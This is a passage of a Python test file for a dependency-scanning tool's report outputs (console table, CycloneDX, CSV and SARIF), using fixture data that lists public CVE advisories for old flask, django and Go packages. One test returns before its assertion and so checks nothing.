{\"FORCE_COLOR\": \"True\"})\n\n    console_output = sca_package_2_report.print_console(False, False, None, None, False)\n\n    # then\n    assert console_output == \"\".join(\n        [\n            '\\x1b[34msca_package scan results:\\n',\n            '\\x1b[0m\\x1b[36m\\n',\n            'Failed checks: 7, Skipped checks: 3\\n',\n            '\\n',\n            '\\x1b[0m\\t/requirements.txt - CVEs Summary:\\n',\n            '\\t┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\\n',\n            '\\t│ Total CVEs: 6        │ critical: 1          │ high: 2              │ medium: 1            │ low: 0               │ skipped: 2           │ Total Packages Used: │\\n',\n            '\\t│                      │                      │                      │                      │                      │                      │ 0                    │\\n',\n            '\\t├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\\n',\n            '\\t│ To fix 4/4 CVEs, go to your Prisma Cloud account                                                                                                               │\\n',\n            '\\t├──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┤\\n',\n            \"\\t│ Package              │ CVE ID               │ Severity             │ Current version      │ Root fixed version   │ Compliant version    │ Reachability         │\\n\",\n            '\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n',\n            '\\t│ flask                │ CVE-2018-1000656     │ HIGH                 │ 0.6                  │ 0.12.3               │ 0.12.3               │                      │\\n',\n            '\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n',\n            '\\t│ django               │ CVE-2019-19844       │ CRITICAL             │ 1.2                  │ 1.11.27              │ 2.2.24               │                      │\\n',\n            '\\t│                      │ CVE-2016-7401        │ HIGH                 │                      │ 1.8.15               │                      │                      │\\n',\n            '\\t│                      │ CVE-2021-33203       │ MEDIUM               │                      │ 2.2.24               │                      │                      │\\n',\n            '\\t└──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┘\\n',\n            \"\\n\",\n            \"\\t/requirements.txt - Licenses Statuses:\\n\",\n            '\\t┌────────────────────────────────┬────────────────────────────────┬────────────────────────────────┬────────────────────────────────────┐\\n',\n            \"\\t│ Package name                   │ Package version                │ Policy ID                      │ License                            │\\n\",\n            '\\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\\n',\n            '\\t│ flask                          │ 0.6                            │ BC_LIC_1                       │ DUMMY_OTHER_LICENSE                │\\n',\n            '\\t└────────────────────────────────┴────────────────────────────────┴────────────────────────────────┴────────────────────────────────────┘\\n',\n            \"\\n\",\n            \"\\t/path/to/go.sum - CVEs Summary:\\n\",\n            '\\t┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\\n',\n            '\\t│ Total CVEs: 2        │ critical: 0          │ high: 2              │ medium: 0            │ low: 0               │ skipped: 0           │ Total Packages Used: │\\n',\n            '\\t│                      │                      │                      │                      │                      │                      │ 0                    │\\n',\n            '\\t├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\\n',\n            '\\t│ To fix 2/2 CVEs, go to your Prisma Cloud account                                                                                                               │\\n',\n            '\\t├──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┤\\n',\n            \"\\t│ Package              │ CVE ID               │ Severity             │ Current version      │ Root fixed version   │ Compliant version    │ Reachability         │\\n\",\n            '\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n',\n            '\\t│ golang.org/x/crypto  │ CVE-2020-29652       │ HIGH                 │ v0.0.1               │ 0.0.2                │ 0.0.2                │                      │\\n',\n            '\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n',\n            '\\t│ github.com/dgrijalva │ CVE-2020-26160       │ HIGH                 │ v3.2.0               │ 4.0.0rc1             │ 4.0.0rc1             │                      │\\n',\n            '\\t│ /jwt-go              │                      │                      │                      │                      │                      │                      │\\n',\n            '\\t└──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┘\\n',\n        ]\n    )\n\n\n@pytest.mark.parametrize(\"cyclone_format\", [\n    \"1.0\",\n    \"1.1\",\n    \"1.2\",\n    \"1.3\",\n    \"1.4\"\n])\ndef test_get_cyclonedx_report(sca_package_2_report, tmp_path: Path, cyclone_format, monkeypatch):\n    monkeypatch.setenv(\"CHECKOV_CYCLONEDX_SCHEMA_VERSION\", cyclone_format)\n    cyclonedx_reports = [sca_package_2_report]\n    cyclonedx = CycloneDX(repo_id=\"bridgecrewio/example\", reports=cyclonedx_reports)\n    cyclonedx_output = cyclonedx.get_xml_output()\n    pretty_xml_as_string = str(xml.dom.minidom.parseString(cyclonedx_output).toprettyxml())\n    with open(os.path.join(OUTPUTS_DIR, f\"results_cyclonedx_{cyclone_format.replace('.', '_')}.xml\")) as f_xml:\n        expected_pretty_xml = f_xml.read()\n\n    actual_pretty_xml_as_list = _get_deterministic_items_in_cyclonedx(pretty_xml_as_string.split(\"\\n\"))\n    expected_pretty_xml_as_list = _get_deterministic_items_in_cyclonedx(expected_pretty_xml.split(\"\\n\"))\n\n    assert '\\n'.join(actual_pretty_xml_as_list) == '\\n'.join(expected_pretty_xml_as_list)\n\n\ndef test_get_cyclonedx_report_with_licenses_with_comma(sca_package_report_2_with_comma_in_licenses, tmp_path: Path):\n    cyclonedx_reports = [sca_package_report_2_with_comma_in_licenses]\n    cyclonedx = CycloneDX(repo_id=\"bridgecrewio/example\", reports=cyclonedx_reports)\n    cyclonedx_output = cyclonedx.get_xml_output()\n\n    pretty_xml_as_string = str(xml.dom.minidom.parseString(cyclonedx_output).toprettyxml())\n\n    with open(os.path.join(OUTPUTS_DIR, \"results_cyclonedx_with_comma_in_licenses.xml\")) as f_xml:\n        expected_pretty_xml = f_xml.read()\n\n    actual_pretty_xml_as_list = _get_deterministic_items_in_cyclonedx(pretty_xml_as_string.split(\"\\n\"))\n    expected_pretty_xml_as_list = _get_deterministic_items_in_cyclonedx(expected_pretty_xml.split(\"\\n\"))\n\n    print(actual_pretty_xml_as_list)\n    return\n\n    assert actual_pretty_xml_as_list == expected_pretty_xml_as_list\n\n\ndef test_get_cyclonedx_json_report_with_licenses_with_comma(tmp_path: Path,\n                                                            sca_package_report_2_with_comma_in_licenses):\n    # given\n    cyclonedx_reports = [sca_package_report_2_with_comma_in_licenses]\n    cyclonedx = CycloneDX(repo_id=\"bridgecrewio/example\", reports=cyclonedx_reports)\n\n    #  when\n    output = json.loads(cyclonedx.get_json_output())\n\n    # then\n    assert output[\"$schema\"] == \"http://cyclonedx.org/schema/bom-1.4.schema.json\"\n    assert len(output[\"components\"]) == 8\n    assert len(output[\"dependencies\"]) == 8\n    assert len(output[\"vulnerabilities\"]) == 8\n\n    assert sorted(output[\"components\"], key=itemgetter(\"purl\")) == sorted([\n        {\n            \"type\": \"library\",\n            \"bom-ref\": \"pkg:pypi/bridgecrewio/example/path/to/requirements.txt/django@1.2\",\n            \"name\": \"django\",\n            \"version\": \"1.2\",\n            \"licenses\": [{\"license\": {\"name\": \"OSI_BDS\"}}],\n            \"purl\": \"pkg:pypi/bridgecrewio/example/path/to/requirements.txt/django@1.2\",\n        },\n        {\n            \"type\": \"library\",\n            \"bom-ref\": \"pkg:pypi/bridgecrewio/example/path/to/requirements.txt/flask@0.6\",\n            \"name\": \"flask\",\n            \"version\": \"0.6\",\n            \"licenses\": [\n                {\"license\": {\"name\": \"DUMMY_OTHER_LICENSE, ANOTHER_DOMMY_LICENSE\"}},\n                {\"license\": {\"name\": \"OSI_APACHE\"}},\n            ],\n            \"purl\": \"pkg:pypi/bridgecrewio/example/path/to/requirements.txt/flask@0.6\",\n        },\n        {\n            \"type\": \"library\",\n            \"bom-ref\": \"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/dgrijalva/jwt-go@v3.2.0\",\n            \"name\": \"github.com/dgrijalva/jwt-go\",\n            \"version\": \"v3.2.0\",\n            \"licenses\": [{\"license\": {\"name\": \"Unknown\"}}],\n            \"purl\": \"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/dgrijalva/jwt-go@v3.2.0\",\n        },\n        {\n            \"type\": \"library\",\n            \"bom-ref\": \"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/miekg/dns@v1.1.41\",\n            \"name\": \"github.com/miekg/dns\",\n            \"version\": \"v1.1.41\",\n            \"licenses\": [{\"license\": {\"name\": \"Unknown\"}}],\n            \"purl\": \"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/miekg/dns@v1.1.41\",\n        },\n        {\n            \"type\": \"library\",\n            \"bom-ref\": \"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/prometheus/client_model@v0.0.0-20190129233127-fd36f4220a90\",\n            \"name\": \"github.com/prometheus/client_model\",\n            \"version\": \"v0.0.0-20190129233127-fd36f4220a90\",\n            \"licenses\": [{\"license\": {\"name\": \"Unknown\"}}],\n            \"purl\": \"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/prometheus/client_model@v0.0.0-20190129233127-fd36f4220a90\",\n        },\n        {\n            \"type\": \"library\",\n            \"bom-ref\": \"pkg:golang/bridgecrewio/example/path/to/go.sum/golang.org/x/crypto@v0.0.1\",\n            \"name\": \"golang.org/x/crypto\",\n            \"version\": \"v0.0.1\",\n            \"licenses\": [{\"license\": {\"name\": \"Unknown\"}}],\n            \"purl\": \"pkg:golang/bridgecrewio/example/path/to/go.sum/golang.org/x/crypto@v0.0.1\",\n        },\n        {\n            \"type\": \"library\",\n            \"bom-ref\": \"pkg:pypi/bridgecrewio/example/path/to/requirements.txt/requests@2.26.0\",\n            \"name\": \"requests\",\n            \"version\": \"2.26.0\",\n            \"licenses\": [{\"license\": {\"name\": \"OSI_APACHE\"}}],\n            \"purl\": \"pkg:pypi/bridgecrewio/example/path/to/requirements.txt/requests@2.26.0\",\n        },\n        {\n            \"type\": \"library\",\n            \"bom-ref\": \"pkg:pypi/bridgecrewio/example/path/to/sub/requirements.txt/requests@2.26.0\",\n            \"name\": \"requests\",\n            \"version\": \"2.26.0\",\n            \"licenses\": [{\"license\": {\"name\": \"OSI_APACHE\"}}],\n            \"purl\": \"pkg:pypi/bridgecrewio/example/path/to/sub/requirements.txt/requests@2.26.0\",\n        },\n    ], key=itemgetter(\"purl\"))\n\n\ndef test_get_csv_report(sca_package_2_report, tmp_path: Path):\n    csv_sbom_report = CSVSBOM()\n    csv_sbom_report.add_report(report=sca_package_2_report, git_org=\"acme\", git_repository=\"bridgecrewio/example\")\n    csv_sbom_report.persist_report_oss_packages(file_name=FILE_NAME_OSS_PACKAGES, is_api_key=True,\n                                                output_path=str(tmp_path))\n    output_file_path = tmp_path / FILE_NAME_OSS_PACKAGES\n    csv_output = output_file_path.read_text()\n    csv_output_str = csv_sbom_report.get_csv_output_packages(check_type=CheckType.SCA_PACKAGE)\n\n    # then\n    expected_csv_output = [\n        'Package,Version,Path,Line(s),Git Org,Git Repository,Vulnerability,Severity,Description,Licenses,Fix Version,Registry URL,Root Package,Root Version',\n        'django,1.2,/requirements.txt,,acme,bridgecrewio/example,CVE-2019-19844,CRITICAL,\"Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. A suitably crafted email address (that is equal to an existing user\\\\\\'s email address after case transformation of Unicode characters) would allow an attacker to be sent a password reset token for the matched user account. (One mitigation in the new releases is to send password reset tokens only to the registered user email address.)\",OSI_BDS,1.11.27,https://pypi.python.org/,,',\n        'django,1.2,/requirements.txt,,acme,bridgecrewio/example,CVE-2016-7401,HIGH,\"The cookie parsing code in Django before 1.8.15 and 1.9.x before 1.9.10, when used on a site with Google Analytics, allows remote attackers to bypass an intended CSRF protection mechanism by setting arbitrary cookies.\",OSI_BDS,1.8.15,https://pypi.python.org/,,',\n        'django,1.2,/requirements.txt,,acme,bridgecrewio/example,CVE-2021-33203,MEDIUM,\"Django before 2.2.24, 3.x before 3.1.12, and 3.2.x before 3.2.4 has a potential directory traversal via django.contrib.admindocs. Staff members could use the TemplateDetailView view to check the existence of arbitrary files. Additionally, if (and only if) the default admindocs templates have been customized by application developers to also show file contents, then not only the existence but also the file contents would have been exposed. In other words, there is directory traversal outside of the template root directories.\",OSI_BDS,2.2.24,https://pypi.python.org/,,',\n        'flask,0.6,/requirements.txt,,acme,bridgecrewio/example,CVE-2018-1000656,HIGH,The Pallets Project flask version Before 0.12.3 contains a CWE-20: Improper Input Validation vulnerability in flask that can result in Large amount of memory usage possibly leading to denial of service. This attack appear to be exploitable via Attacker provides JSON data in incorrect encoding. This vulnerability appears to have been fixed in 0.12.3. NOTE: this may overlap CVE-2019-1010083.,\"OSI_APACHE, DUMMY_OTHER_LICENSE\",0.12.3,https://pypi.python.org/,,',\n        'golang.org/x/crypto,v0.0.1,/path/to/go.sum,,acme,bridgecrewio/example,CVE-2020-29652,HIGH,A nil pointer dereference in the golang.org/x/crypto/ssh component through v0.0.3 for Go allows remote attackers to cause a denial of service against SSH servers.,Unknown,0.0.2,,,',\n        'github.com/dgrijalva/jwt-go,v3.2.0,/path/to/go.sum,,acme,bridgecrewio/example,CVE-2020-26160,HIGH,\"jwt-go before 4.0.0-preview1 allows attackers to bypass intended access restrictions in situations with []string{} for m[\\\\\"\"aud\\\\\"\"] (which is allowed by the specification). Because the type assertion fails, \\\\\"\"\\\\\"\" is the value of aud. This is a security problem if the JWT token is presented to a service that lacks its own audience check.\",Unknown,4.0.0rc1,,,',\n        'django,1.2,/requirements.txt,,acme,bridgecrewio/example,CVE-2016-6186,MEDIUM,\"Cross-site scripting (XSS) vulnerability in the dismissChangeRelatedObjectPopup function in contrib/admin/static/admin/js/admin/RelatedObjectLookups.js in Django before 1.8.14, 1.9.x before 1.9.8, and 1.10.x before 1.10rc1 allows remote attackers to inject arbitrary web script or HTML via vectors involving unsafe usage of Element.innerHTML.\",OSI_BDS,1.8.14,https://pypi.python.org/,,',\n        'flask,0.6,/requirements.txt,,acme,bridgecrewio/example,CVE-2019-1010083,HIGH,The Pallets Project Flask before 1.0 is affected by: unexpected memory usage. The impact is: denial of service. The attack vector is: crafted encoded JSON data. The fixed version is: 1. NOTE: this may overlap CVE-2018-1000656.,\"OSI_APACHE, DUMMY_OTHER_LICENSE\",1.0,https://pypi.python.org/,,',\n        'requests,2.26.0,/requirements.txt,,acme,bridgecrewio/example,,,,OSI_APACHE,N/A,https://pypi.python.org/,,',\n        'github.com/miekg/dns,v1.1.41,/path/to/go.sum,,acme,bridgecrewio/example,,,,Unknown,N/A,,,',\n        'github.com/prometheus/client_model,v0.0.0-20190129233127-fd36f4220a90,/path/to/go.sum,,acme,bridgecrewio/example,,,,Unknown,N/A,,,',\n        'requests,2.26.0,/path/to/sub/requirements.txt,,acme,bridgecrewio/example,,,,OSI_APACHE,N/A,,,', '']\n    csv_output_as_list = csv_output.split(\"\\n\")\n    assert csv_output_as_list == expected_csv_output\n\n    expected_csv_output_str = [\n        'Package,Version,Path,Line(s),Git Org,Git Repository,Vulnerability,Severity,Description,Licenses,Fix Version,Registry URL,Root Package,Root Version',\n        '\"django\",1.2,/requirements.txt,,acme,bridgecrewio/example,CVE-2019-19844,CRITICAL,\"Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. A suitably crafted email address (that is equal to an existing user\\\\\\'s email address after case transformation of Unicode characters) would allow an attacker to be sent a password reset token for the matched user account. (One mitigation in the new releases is to send password reset tokens only to the registered user email address.)\",\"OSI_BDS\",1.11.27,https://pypi.python.org/,,',\n        '\"django\",1.2,/requirements.txt,,acme,bridgecrewio/example,CVE-2016-7401,HIGH,\"The cookie parsing code in Django before 1.8.15 and 1.9.x before 1.9.10, when used on a site with Google Analytics, allows remote attackers to bypass an intended CSRF protection mechanism by setting arbitrary cookies.\",\"OSI_BDS\",1.8.15,https://pypi.python.org/,,',\n        '\"django\",1.2,/requirements.txt,,acme,bridgecrewio/example,CVE-2021-33203,MEDIUM,\"Django before 2.2.24, 3.x before 3.1.12, and 3.2.x before 3.2.4 has a potential directory traversal via django.contrib.admindocs. Staff members could use the TemplateDetailView view to check the existence of arbitrary files. Additionally, if (and only if) the default admindocs templates have been customized by application developers to also show file contents, then not only the existence but also the file contents would have been exposed. In other words, there is directory traversal outside of the template root directories.\",\"OSI_BDS\",2.2.24,https://pypi.python.org/,,',\n        '\"flask\",0.6,/requirements.txt,,acme,bridgecrewio/example,CVE-2018-1000656,HIGH,\"The Pallets Project flask version Before 0.12.3 contains a CWE-20: Improper Input Validation vulnerability in flask that can result in Large amount of memory usage possibly leading to denial of service. This attack appear to be exploitable via Attacker provides JSON data in incorrect encoding. This vulnerability appears to have been fixed in 0.12.3. NOTE: this may overlap CVE-2019-1010083.\",\"OSI_APACHE, DUMMY_OTHER_LICENSE\",0.12.3,https://pypi.python.org/,,',\n        '\"golang.org/x/crypto\",v0.0.1,/path/to/go.sum,,acme,bridgecrewio/example,CVE-2020-29652,HIGH,\"A nil pointer dereference in the golang.org/x/crypto/ssh component through v0.0.3 for Go allows remote attackers to cause a denial of service against SSH servers.\",\"Unknown\",0.0.2,,,',\n        '\"github.com/dgrijalva/jwt-go\",v3.2.0,/path/to/go.sum,,acme,bridgecrewio/example,CVE-2020-26160,HIGH,\"jwt-go before 4.0.0-preview1 allows attackers to bypass intended access restrictions in situations with []string{} for m[\\\\\"aud\\\\\"] (which is allowed by the specification). Because the type assertion fails, \\\\\"\\\\\" is the value of aud. This is a security problem if the JWT token is presented to a service that lacks its own audience check.\",\"Unknown\",4.0.0rc1,,,',\n        '\"django\",1.2,/requirements.txt,,acme,bridgecrewio/example,CVE-2016-6186,MEDIUM,\"Cross-site scripting (XSS) vulnerability in the dismissChangeRelatedObjectPopup function in contrib/admin/static/admin/js/admin/RelatedObjectLookups.js in Django before 1.8.14, 1.9.x before 1.9.8, and 1.10.x before 1.10rc1 allows remote attackers to inject arbitrary web script or HTML via vectors involving unsafe usage of Element.innerHTML.\",\"OSI_BDS\",1.8.14,https://pypi.python.org/,,',\n        '\"flask\",0.6,/requirements.txt,,acme,bridgecrewio/example,CVE-2019-1010083,HIGH,\"The Pallets Project Flask before 1.0 is affected by: unexpected memory usage. The impact is: denial of service. The attack vector is: crafted encoded JSON data. The fixed version is: 1. NOTE: this may overlap CVE-2018-1000656.\",\"OSI_APACHE, DUMMY_OTHER_LICENSE\",1.0,https://pypi.python.org/,,',\n        '\"requests\",2.26.0,/requirements.txt,,acme,bridgecrewio/example,,,\"\",\"OSI_APACHE\",N/A,https://pypi.python.org/,,',\n        '\"github.com/miekg/dns\",v1.1.41,/path/to/go.sum,,acme,bridgecrewio/example,,,\"\",\"Unknown\",N/A,,,',\n        '\"github.com/prometheus/client_model\",v0.0.0-20190129233127-fd36f4220a90,/path/to/go.sum,,acme,bridgecrewio/example,,,\"\",\"Unknown\",N/A,,,',\n        '\"requests\",2.26.0,/path/to/sub/requirements.txt,,acme,bridgecrewio/example,,,\"\",\"OSI_APACHE\",N/A,,,',\n        '']\n    csv_output_str_as_list = csv_output_str.split(\"\\n\")\n    assert csv_output_str_as_list == expected_csv_output_str\n\n\ndef test_sarif_output(sca_package_report_2_with_skip_scope_function):\n    # The creation of sarif_json may change the input report. in order not to affect the other tests, we use\n    # a report that is unique for the scope of the function\n\n    # when\n    sarif_output = Sarif(reports=[sca_package_report_2_with_skip_scope_function], tool=\"Checkov\").json\n\n    # then\n    sarif_output[\"runs\"][0][\"tool\"][\"driver\"][\"version\"] = \"2.0.x\"\n    expected_sarif_json = {\n        \"$schema\": \"https://raw.githubusercontent.com/oasis-tcs/sarif-spec/main/sarif-2.1/schema/sarif-schema-2.1.0.json\",\n        \"version\": \"2.1.0\",\n        \"runs\": [\n            {\n                \"tool\": {\n                    \"driver\": {\n                        \"name\": \"Checkov\",\n                        \"version\": \"2.0.x\",\n                        \"informationUri\": \"https://checkov.io\",\n                        \"rules\": [\n                            {\n                                \"id\": \"DUMMY_OTHER_LICENSE_flask@0.6\",\n                                \"name\": \"License DUMMY_OTHER_LICENSE - flask: 0.6\",\n                                \"shortDescription\": {\n                                    \"text\": \"License DUMMY_OTHER_LICENSE - flask: 0.6\"\n                                },\n                                \"fullDescription\": {\n                                    \"text\": \"Package flask@0.6 has license DUMMY_OTHER_LICENSE\"\n                                },\n                                \"help\": {\n                                    \"text\": \"SCA license\\nResource: requirements.txt.flask\"\n                                },\n                                \"defaultConfiguration\": {\n                                    \"level\": \"error\"\n                                }\n                            },\n                            {\n                                \"id\": \"CVE-2019-19844_django@1.2\",\n                                \"name\": \"CVE-2019-19844 - django: 1.2\",\n                                \"shortDescription\": {\n                                    \"text\": \"CVE-2019-19844 - django: 1.2\"\n                                },\n                                \"fullDescription\": {\n                                    \"text\": \"Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. A suitably crafted email address (that is equal to an existing user\\\\'s email address after case transformation of Unicode characters) would allow an attacker to be sent a password reset token for the matched user account. (One mitigation in the new releases is to send password reset tokens only to the registered user email address.)\"\n                                },\n                                \"help\": {\n                                    \"text\": \"SCA package scan\\nResource: requirements.txt.django\\nStatus: fixed in 3.0.1, 2.2.9, 1.11.27\"\n                                },\n                                \"defaultConfiguration\": {\n                                    \"level\": \"error\"\n                                },\n                                \"properties\": {\n                                    \"security-severity\": \"9.8\"\n                                },\n                                \"helpUri\": \"https://nvd.nist.gov/vuln/detail/CVE-2019-19844\"\n                            },\n                            {\n                                \"id\": \"CVE-2016-7401_django@1.2\",\n                                \"name\": \"CVE-2016-7401 - django: 1.2\",\n                                \"shortDescription\": {\n                                    \"text\": \"CVE-2016-7401 - django: 1.2\"\n                                },\n                                \"fullDescription\": {\n                                    \"text\": \"The cookie parsing code in Django before 1.8.15 and 1.9.x before 1.9.10, when used on a site with Google Analytics, allows remote attackers to bypass an intended CSRF protection mechanism by setting arbitrary cookies.\"\n                                },\n                                \"help\": {\n                                    \"text\": \"SCA package scan\\nResource: requirements.txt.django\\nStatus: fixed in 1.9.10, 1.8.15\"\n                                },\n                                \"defaultConfiguration\": {\n                                    \"level\": \"error\"\n                                },\n                                \"properties\": {\n                                    \"security-severity\": \"7.5\"\n                                },\n                                \"helpUri\": \"https://nvd.nist.gov/vuln/detail/CVE-2016-7401\"\n                            },\n                            {\n                                \"id\": \"CVE-2021-33203_django@1.2\",\n                                \"name\": \"CVE-2021-33203 - django: 1.2\",\n                                \"shortDescription\": {\n                                    \"text\": \"CVE-2021-33203 - django: 1.2\"\n                                },\n                                \"fullDescription\": {\n                                    \"text\": \"Django before 2.2.24, 3.x before 3.1.12, and 3.2.x before 3.2.4 has a potential directory traversal via django.contrib.admindocs. Staff members could use the TemplateDetailView view to check the existence of arbitrary files. Additionally, if (and only if) the default admindocs templates have been customized by application developers to also show file contents, then not only the existence but also the file contents would have been exposed. In other words, there is directory traversal outside of the template root directories.\"\n                                },\n                                \"help\": {\n                                    \"text\": \"SCA package scan\\nResource: requirements.txt.django\\nStatus: fixed in 3.2.4, 3.1.12, 2.2.24\"\n                                },\n                                \"defaultConfiguration\": {\n                                    \"level\": \"error\"\n                                },\n                                \"properties\": {\n                                    \"security-severity\": \"4.9\"\n                                },\n                                \"helpUri\": \"https://nvd.nist.gov/vuln/detail/CVE-2021-33203\"\n                            },\n                            {\n                                \"id\": \"CVE-2018-1000656_flask@0.6\",\n                                \"name\": \"CVE-2018-1000656 - flask: 0.6\",\n                                \"shortDescription\": {\n                                    \"text\": \"CVE-2018-1000656 - flask: 0.6\"\n                                },\n                                \"fullDescription\": {\n                                    \"text\": \"The Pallets Project flask version Before 0.12.3 contains a CWE-20: Improper Input Validation vulnerability in flask that can result in Large amount of memory usage possibly leading to denial of service. This attack appear to be exploitable via Attacker provides JSON data in incorrect encoding. This vulnerability appears to have been fixed in 0.12.3. NOTE: this may overlap CVE-2019-1010083.\"\n                                },\n                                \"help\": {\n                                    \"text\": \"SCA package scan\\nResource: requirements.txt.flask\\nStatus: fixed in 0.12.3\"\n                                },\n                                \"defaultConfiguration\": {\n                                    \"level\": \"error\"\n                                },\n                                \"properties\": {\n                                    \"security-severity\": \"7.5\"\n                                },\n                                \"helpUri\": \"https://nvd.nist.gov/vuln/detail/CVE-2018-1000656\"\n                            },\n                            {\n                                \"id\": \"CVE-2020-26160_github.com/dgrijalva/jwt-go@v3.2.0\",\n                                \"name\": \"CVE-2020-26160 - github.com/dgrijalva/jwt-go: v3.2.0\",\n                                \"shortDescription\": {\n                                    \"text\": \"CVE-2020-26160 - github.com/dgrijalva/jwt-go: v3.2.0\"\n                                },\n                                \"fullDescription\": {\n                                    \"text\": \"jwt-go before 4.0.0-preview1 allows attackers to bypass intended access restrictions in situations with []string{} for m[\\\\\\\"aud\\\\\\\"] (which is allowed by the specification). Because the type assertion fails, \\\\\\\"\\\\\\\" is the value of aud. This is a security problem if the JWT token is presented to a service that lacks its own audience check.\"\n                                },\n                                \"help\": {\n                                    \"text\": \"SCA package scan\\nResource: path/to/go.sum.github.com/dgrijalva/jwt-go\\nStatus: fixed in v4.0.0-preview1\"\n                                },\n                                \"defaultConfiguration\": {\n                                    \"level\": \"error\"\n                                },\n                                \"properties\": {\n                                    \"security-severity\": \"7.7\"\n                                },\n                                \"helpUri\": \"https://nvd.nist.gov/vuln/detail/CVE-2020-26160\"\n                            },\n                            {\n                                \"id\": \"OSI_BDS_django@1.2\",\n                                \"name\": \"License OSI_BDS - django: 1.2\",\n                                \"shortDescription\": {\n                                    \"text\": \"License OSI_BDS - django: 1.2\"\n                                },\n                                \"fullDescription\": {\n                                    \"text\": \"Package django@1.2 has license OSI_BDS\"\n                                },\n                                \"help\": {\n                                    \"text\": \"SCA license\\nResource: requirements.txt.django\"\n                                },\n                                \"defaultConfiguration\": {\n                                    \"level\": \"error\"\n                                }\n                            },\n                            {\n                                \"id\": \"CVE-2016-6186_django@1.2\",\n                                \"name\": \"CVE-2016-6186 - django: 1.2\",\n                                \"shortDescription\": {\n                                    \"text\": \"CVE-2016-6186 - django: 1.2\"\n                                },\n                                \"fullDescription\": {\n                                    \"text\": \"Cross-site scripting (XSS) vulnerability in the dismissChangeRelatedObjectPopup function in contrib/admin/static/admin/js/admin/RelatedObjectLookups.js in Django before 1.8.14, 1.9.x before 1.9.8, and 1.10.x before 1.10rc1 allows remote attackers to inject arbitrary web script or HTML via vectors involving unsafe usage of Element.innerHTML.\"\n                                },\n                                \"help\": {\n                                    \"text\": \"SCA package scan\\nResource: requirements.txt.django\\nStatus: fixed in 1.9.8, 1.8.14\"\n                                },\n                                \"defaultConfiguration\": {\n                                    \"level\": \"error\"\n                                },\n                                \"properties\": {\n                                    \"security-severity\": \"6.1\"\n                                },\n                                \"helpUri\": \"https://nvd.nist.gov/vuln/detail/CVE-2016-6186\"\n                            },\n                            {\n                                \"id\": \"CVE-2019-1010083_flask@0.6\",\n                                \"name\": \"CVE-2019-1010083 - flask: 0.6\",\n                                \"shortDescription\": {\n                                    \"text\": \"CVE-2019-1010083 - flask: 0.6\"\n                                },\n                                \"fullDescription\": {\n                                    \"text\": \"The Pallets Project Flask before 1.0 is affected by: unexpected memory usage. The impact is: denial of service. The attack vector is: crafted encoded JSON data. The fixed version is: 1. NOTE: this may overlap CVE-2018-1000656.\"\n                                },\n                                \"help\": {\n                                    \"text\": \"SCA package scan\\nResource: requirements.txt.flask\\nStatus: fixed in 1.0\"\n                                },\n                                \"defaultConfiguration\": {\n                                    \"level\": \"error\"\n                                },\n                                \"properties\": {\n                                    \"security-severity\": \"7.5\"\n                                },\n                                \"helpUri\": \"https://nvd.nist.gov/vuln/detail/CVE-2019-1010083\"\n                            },\n                            {\n                                \"id\": \"CVE-2020-29652_golang.org/x/crypto@v0.0.1\",\n                                \"name\": \"CVE-2020-29652 - golang.org/x/crypto: v0.0.1\",\n                                \"shortDescription\": {\n                                    \"text\": \"CVE-2020-29652 - golang.org/x/crypto: v0.0.1\"\n                                },\n                                \"fullDescription\": {\n                                    \"text\": \"A nil pointer dereference in the golang.org/x/crypto/ssh component through v0.0.3 for Go allows remote attackers to cause a denial of service against SSH servers.\"\n                                },\n                                \"help\": {\n                                    \"text\": \"SCA package scan\\nResource: path/to/go.sum.golang.org/x/crypto\\nStatus: fixed in v0.0.2\"\n                                },\n                                \"defaultConfiguration\": {\n                                    \"level\": \"error\"\n                                },\n                                \"properties\": {\n                                    \"security-severity\": \"7.5\"\n                                },\n                                \"helpUri\": \"https://nvd.nist.gov/vuln/detail/CVE-2020-29652\"\n                            }\n                        ],\n                        \"organization\": \"bridgecrew\"\n                    }\n                },\n                \"results\": [\n                    {\n                        \"ruleId\": \"DUMMY_OTHER_LICENSE_flask@0.6\",\n                        \"ruleIndex\": 0,\n                        \"level\": \"error\",\n                        \"attachments\": [],\n                        \"message\": {\n                            \"text\": \"License DUMMY_OTHER_LICENSE - flask: 0.6\"\n                        },\n                        \"locations\": [\n                            {\n                                \"physicalLocation\": {\n                                    \"artifactLocation\": {\n                                        \"uri\": \"tests/sca_package_2/examples/requirements.txt\"\n                                    },\n                                    \"region\": {\n                                        \"startLine\": 1,\n                                        \"endLine\": 1,\n                                        \"snippet\": {\n                                            \"text\": \"flask: 0.6\"\n                                        }\n                                    }\n                                }\n                            }\n                        ]\n                    },\n                    {\n                        \"ruleId\": \"CVE-2019-19844_django@1.2\",\n                        \"ruleIndex\": 1,\n                        \"level\": \"error\",\n                        